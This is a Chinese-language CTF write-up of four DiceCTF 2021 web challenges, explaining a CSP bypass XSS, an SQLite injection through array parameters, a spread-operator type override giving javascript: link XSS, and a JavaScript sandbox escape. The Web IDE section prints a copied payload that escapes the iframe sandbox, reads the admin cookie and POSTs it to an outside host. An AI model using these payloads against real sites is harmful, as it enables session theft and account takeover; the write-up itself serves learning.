DiceCTF2021
好像比justCTF简单不少。。。起码有萌新能做出来的题了呜呜
但是怎么感觉外国比赛这么喜欢XSS
BabierCSP
对标justCTF的BabyCSP,确实更baby了,justCTF那个题完全不会。。。
因为设置了default-src,fetch这些函数的请求的源也受到CSP控制,fetch就发不出去,一开始在这卡了
然后用windows.location.href跳转就行了
这个题nonce是不变的,那不就是无过滤XSS吗。一开始以为是题写歪了想考参考链接里面先知那个吞下面nonce的点的,后来测了一下发现这个必须是可控点和有nonce的script连在一起才行,不然之间的任意一个右尖括号都能把你给闭合了而无法吞下正确的nonce
现在想起来如果nonce会变就完全不会做了呜呜
Missing Flavortext
源码很短,就是个SQL注入题,只使用if ([req.body.username, req.body.password].some(v => v.includes('\'')))
过滤了单引号,查询语句为
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
sqlite有着诡异的特性,不吃反斜杠转义,得用两个单引号来转义单引号,这里过滤了引号理论上无解了,但是这里使用的是app.use(bodyParser.urlencoded({ extended: true }));
,扩展确认为true,所以对username[1]=123解析出来的结果就不是简单地username=123的键值对,而是一个名为user的数组其中第二个值为123(第一个值下标为0是undefined)
这样子就能过之前那个some函数的check,而在填入req.body.password时填的却不是数组而是这个值,这大概就是js的奇妙特性吧
Web Unit
一个创建链接功能和一个创建粘贴,使用创建链接时会检查是否使用的是http(s)协议,均生成一个uid,并将数据和对应的类型(link or paste)插入数据库,返回一个对应的uid,view路由接受一个uid,根据uid查询数据库,如果返回的数据type是link就根据链接重定向,如果type非link就用textContent拼到div里去
textContent是超级防御,里面的数据都会被当做文本解析,绝对XSS不了
注意到一个不认识的东西。。。百度了一下然后就出了,真实运气好
函数原型为
addData({uid,data,type})
调用形式为
database.addData({ type: 'paste', ...req.body, uid });
三点运算符
ES6语法,就是把一个数组拆成一个个的作为参数,或者把一个大括号(对象)对应的键值对解析出来当参数填入,也可以直接把只有一个元素的数组直接靠三点运算符当参数传入
题解
这里是用三点运算符把req.body解析出来填入参数,addData这个函数原型本来就有点玄幻,参数写成了一个对象,里面三个属性,然后调用的时候type先指定,再解析req.body,再传入uid。
本地测试了一下这个参数传递的情况,先是从左往右按顺序解析,所以...req.body
是可以覆盖之前的type的,在没有检测的createPaste路由里面放一个javascript伪协议,并且req.body里多传一个type进去,覆盖type为link,这样子view查出来的数据就是链接,通过js伪协议打通
坑点
一开始想用fetch,因为这次没得CSP了嘛,然后报错Mixed Content,https不给加载http的内容,那我也配了https,反手换成https,发现监听端口得到的东西就不是人看的了。。。。最后还是换回location.href
后来想本地测试一下,结果burp还是不能抓本地包,没深究为什么,最后查到一个临时方案,ipconfig看一下自己内网地址,通过内网访问就能抓包了
再后来发现自己有点傻逼,参数解析为什么一定要用req.body呢,然后开始直接调试
发现传入参数为一个对象时,参数的变量名一定要和对象属性名对应,不能单纯的按顺序传入三个名字不对的变量,会导致对应属性undefined。。。。
题目写的是database.addData({ type: 'paste', ...req.body, uid });
,所以仅type可控,就算修改了uid也会被再覆盖回来,本地测试的时候把uid改成了uidd之后,如果req.body里面不提交uid,uid就变成undefined了
Web IDE
提供了一个js在线运行环境,js运行那段代码看不太懂。。。只有管理员能存代码和看代码
admin cookie的samesite属性设置为none,感觉有点像CSRF的操作点,加上存和看两个功能只能admin搞,感觉就是CSRF,然后准备在自己vps上写个钓鱼,用fetch发一个POST请求,并把得到的代码存储路径转发出来,吃到了无敌的CORS限制,gg了。虽然还能用POST表单打CSRF,但是获取不到返回的js路径,让admin看代码的功能就无从说起
看WP
整体来说这个题挺难的,只能对着慢慢理解一遍了
safeEval沙盒绕过
刚开始做这个题的时候就没太看懂这段命令执行代码。。。现在学了一下一句一句理解
const safeEval = (d) => {
(function (data) {
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return {log};
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
}).call(Object.create(null), d);
};
safeEval其实整个就是对一个匿名函数调用call(Object.create(null), d),对匿名函数调用call实际上就是调用这个函数并传入参数,接下来看这个函数
比较迷惑的就是这段with Proxy,with关键字指定了一个上下文,在这个上下文中对所有属性的访问都会先去查找一下with指定的对象,查不到再去查外层,例子如下
var a = {c:1}
var c = 2;
with(a){
console.log(c); //等价于a.c 即为1
}
Proxy为代理(好像java里面也有这种东西,但是都没学过),指定一个对象的代理,定义代理后可以使用一些trap函数,对被代理的对象进行一系列操作的时候,就可以hook对应的操作进行处理
这里创建了对window对象的代理,所以当eval中使用和window相关的属性的时候,就会收到get函数的限制,这里只允许获取到eval和log,log是重写的一个让内容能显示在界面上的函数
总而言之,safeEval的作用就是限制了这个eval在执行的时候window对象只有eval和log两个属性
看到这么一段话
From what I know, there are couple of ways to execute arbitrary js:
window.eval
window.location + javascript pseudo protocol(javascript:)
window.setTimeout and window.setInterval
function constructor
前三个都属于window对象的属性,都已经没得了,eval嵌套eval我估计不行,所以使用function constructor来绕过这个Proxy进行任意代码执行[].constructor.constructor(code)()
,这里获取到函数的构造函数,构造出一个函数并进行自调用
这里在经历了一个Function.constructor之后似乎创建了一个独立的上下文,不再受到之前with上下文的影响,进而脱离了限制达到任意代码执行
浏览器控制台实验结果
a={b:1}
with(a)
{
console.log(b);
[].constructor.constructor("console.log(b)")();
}
VM145:4 1
VM146:3 Uncaught ReferenceError: b is not defined
at eval (eval at <anonymous> ((index):5), <anonymous>:3:13)
at <anonymous>:5:49
不过直接在题目上用这个方法是不能执行命令的,因为HTML里设置了这么一句<iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
,只允许脚本执行,虽然看起来允许脚本执行已经为所欲为了,但事实上还有一大堆参数指定跨域表单提交创建窗口之类的,这个情况下alert弹窗都弹不出来
postMessage提交数据
但是这里可以看到在sandbox.html中,开了一个iframe为sandbox执行代码,而数据通过postMessage进行传递,因此可以在自己的vps上搭一个页面,引用题目的sandbox.html开一个iframe,这个iframe的sandbox属性就可以允许为所欲为,并自己写一个postMessage提交数据,这样子虽然这个页面是我个人的,但是操作是在题目环境下的iframe完成的,就没有之前CORS跨域的问题,整一个fetch(‘/ide/save’)并提交XSS脚本,拿到保存的的id,进行下一步攻击
非预期
这个好理解一点。预期还用了service worker,太难了。。。
因为admin cookie设置情况如下
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
samesite定义为none了,但是path指定在了ide下,sandbox.html处是没有这个cookie的,因此需要重新想办法获取到cookie,非预期是因为bot使用的是headless Chrome,可以跨路径获取cookie,对于普通的Chrome是不能这么打的虽然我在自己的Chrome上试了一下也成功了。。。
开一个window之后直接获取到window.document.cookie发出来
抄的payload
<iframe src="https://web-ide.dicec.tf/sandbox.html" sandbox="allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox"></iframe>
<script>
const frame = document.querySelector('iframe');
frame.onload = () => frame.contentWindow.postMessage(`(async () => {
const w = eval.call(this, "window");
let p = w.open('/ide');
await new w.Promise(r => w.setTimeout(r, 500));
const c = p.document.cookie;
w.fetch("ctf.rabulinski.com", { method: "POST", body: c });
})();`, '*');
</script>
预期解
通过注册service worker并addEventListener fetch,控制页面所加载的资源,由于sw只能注册本地文件,因此需先让admin存一个sw脚本并获取到结果
由于service worker并不在页面上下文中运行,即注册了sw也无法直接获取cookie,但由于sw可以控制加载的资源,因此只需让在ide路径下加载的资源变为指定的恶意脚本即可在ide路径下将cookie发送出来
具体payload看下面链接吧。。。